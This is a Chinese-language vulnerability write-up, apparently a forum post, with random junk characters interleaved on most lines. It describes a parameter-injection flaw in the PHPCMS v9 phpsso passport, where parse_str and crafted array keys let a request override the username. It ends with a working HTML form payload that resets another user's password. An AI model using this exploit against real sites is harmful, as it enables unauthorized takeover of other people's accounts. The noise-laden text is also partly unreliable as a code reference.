提到的通行证的代码:
" b3 j4 q' j) A' }
* V* g8 @4 X5 z' m! G' y0 E: ^' K9 o
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
" ~! B. \) G) l) q( }4 \4 g6 R0 {0 g% C9 h0 B
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。, D2 I; ~: K) { n; w
5 p" i# u: v% n% v我把它留给了你们。: ^& a1 |7 m* p+ D2 k2 M2 N
不知道你们发现了它没有。* `" p! ]6 \( }
' }" C) G4 i# @! } P0 a$ k0 s
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
) R" f9 o# a, w! u8 ?
% r, z* T; K' |所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" v% Y3 u; v% s- @3 W
4 f& ?- m, p; l也就是
: Y' ]- z8 X8 c8 K+ g/ A' G% P6 |1 i g: [7 z- Q
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
8 X3 H* `9 U2 c: ^6 }& Z7 h2 F- S2 n6 S+ M0 z$ b0 D( ^0 c( ?, K
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。5 U, h9 k1 K, q* O" h' f
7 @+ V! X2 r# Z- A5 }- f! o9 P" l1 `" _* `
其实我们有这样的机会,看看代码,如下:$ Z$ x% w) _ M; Z$ g9 c! D- z( R
( n0 K& z, W' X2 b+ ~$ d
! F* T8 {; i) A) }$ u7 Opublic function auth_data($data) {( U. N6 X& `9 c# f5 V- R: g
$s = $sep = '';2 s( F. S2 K I% F
foreach($data as $k => $v) {
% E1 q/ _5 \3 K6 O1 m& n4 D if(is_array($v)) {
8 F- l7 C7 [2 ?, }; k$ B $s2 = $sep2 = '';
' g2 d6 U0 f1 ] r9 x. ?$ X" N foreach($v as $k2 => $v2) {
* d' j+ G! l( Y' d $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);8 |, c3 F) x* ]. J7 I. a3 q
$sep2 = '&';
6 c7 W- `) X: k; P }
& x/ @1 S2 E. I$ c $s .= $sep.$s2;2 J1 D. a( k/ y9 J
} else {
* g" z2 v, T6 z9 e- p# {" o $s .= "$sep$k=".$this->_ps_stripslashes($v);3 L8 S' A" K. K6 W$ A) |
}
9 e! C, |+ k3 O! N3 {; Y $sep = '&';1 ~/ ~/ L# z7 N6 J, Q t
}
" G7 g# y$ d3 D1 x! ~! u
2 { ^ T- P+ ^$ O* c% m $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));! n/ z& H$ G2 s) T9 E
return $auth_s;
, R9 h: R& t6 b0 c }1 j+ j& @9 I& S- X) [: V
% v |! @, r* H. W: L可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。* i5 d W% b9 ^
; K& z1 K! j9 l9 {) P' g) V" [% Z举个例子+ j4 `. k/ q* v' b8 V$ {, r
& m. G a4 P$ X; I* e6 V
$a[aaa=a&bbb] = 'a';
% o& b* S) I; }3 R: ^
" @- }7 \9 g* W* k/ q会变成aaa=a&bbb=a
! d6 S5 y0 e4 r
% ]( y1 k, ~2 ^3 ]% `( w8 n* K明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
( O' W. ^- [' q1 e
6 C6 }- X& |+ ^ E5 w这个时候,我们可以再去看一个函数。
8 b Z3 W4 W/ }4 [+ H2 K o, P4 c1 O1 X; u0 u# _3 z9 U
就在这个文件内:: P9 d" |7 k4 m
6 U# t. g i. b& U# Q7 d3 o1 ~& Q
; S3 C9 ?9 B) A4 s+ u! \# ?public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
) T. c3 m+ i ^9 q9 H* c if($email && !$this->_is_email($email)) {
& T# }4 O* h z return -4;
* y6 X) ^4 T+ r }2 |( g5 \7 l4 X
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
6 ~7 a2 m2 b7 o1 ^+ j }
8 \/ x: A- F [, {2 k( b/ g/ ~( ^6 ^, }& |& }8 ~
这是向通行证发了这样一个请求。
0 |1 S0 D1 H Y( s# _0 l/ X( N" ]0 u; t: ?+ `+ z% I
我们再跟到通信证代码里去看看,就会有所发现。
- H" k9 D- s+ ?, o5 E" B' o' i& a
+ X4 a5 {: U3 K* [# C; T6 O
% _8 X% x9 U+ c' Z. J. ]public function edit() {
$ E5 ^' P0 k | E( S7 G! F- Z//能省就省,太长了不是吗?
) U0 {3 V# d; X" F$ w
% { x7 Z! \" S" l/ u* xif($this->username) {
0 B/ O: |+ p) }: o9 k//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
4 \0 c2 L5 E- B! R8 \4 R9 U/ r( n8 |! s $res = $this->db->update($data, array('username'=>$this->username));
) x( w* H' @2 x& T. n/ y } else {
' T/ {" [5 i* S# P& U3 J* X4 H file_put_contents('typeb.txt',print_r($data,1).$this->uid);5 M. Z5 p# Y' U
$res = $this->db->update($data, array('uid'=>$this->uid));
$ h* c4 Y* d: H }
8 i2 p8 ^0 y2 i8 L6 }, U. x3 O
, R7 r" N" ^! r- S% q4 x. B好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:1 u% U( P' w$ O
! O9 K; M' b0 w0 Wpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') G- x0 h4 R8 x+ t+ }
% [2 R$ \" }: W! g7 R* q1 J3 X很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
3 A( r' U5 M9 ], t) w
/ }' V3 V8 Y9 k% V6 r我当然找到了:3 V( O2 \% {0 O5 }
phpcms9/phpcms/modules/member/index.php
! i5 ~( }0 d2 }# R N- @) l
7 N/ t; n/ A' g! f5 Q9 l$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
- h4 ^3 k! P" A0 L! t* M3 i K% \, G1 Y; W/ t' ^# u7 F. D2 g
然后就没有然后了。
7 Z9 u8 j, M' p' g0 j8 S1 l& K* L$ ^' W3 \( L# k' S/ K
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
0 \% Q5 a3 S) x1 g <table width="100%" cellspacing="0" class="table_form">
5 Q8 v" Q! |/ o+ W- g <tr>. m6 e( K1 v, j, P8 f
<th width="80">邮箱:</th> 2 ^ S! J: [* D0 C
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
7 H7 V/ U- Y; y+ y2 _ </tr>: ?, R5 }7 y& j/ e
<tr>
$ g0 E) T* H1 n2 k4 @; r% i9 S <th width="80">原密码:</th> ' ?, P; L7 r! H4 { a' g
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>9 H0 l% @3 x/ |- U5 N& t
</tr>& q: o/ N# U$ D8 E/ |" O4 |, R' [: {
<tr>& m w* u9 x* |9 A9 F
<th>新密码:</th> f0 X" M9 m; @* I8 Y6 o, g
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
) H0 } z) l) M </tr>% q5 y7 m- p+ t+ ]
<th></th>
) {) j8 i0 R' L: O, Z <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>& U1 `6 }' P: U: F3 N X
</tr>
# p: i( S, i$ P { </table>0 F* i$ E; r& J- b7 F
* n% N: E% f: [# K6 O s
^4 V, m. K7 N7 F </form>
& {: j. [8 G5 H- F: k |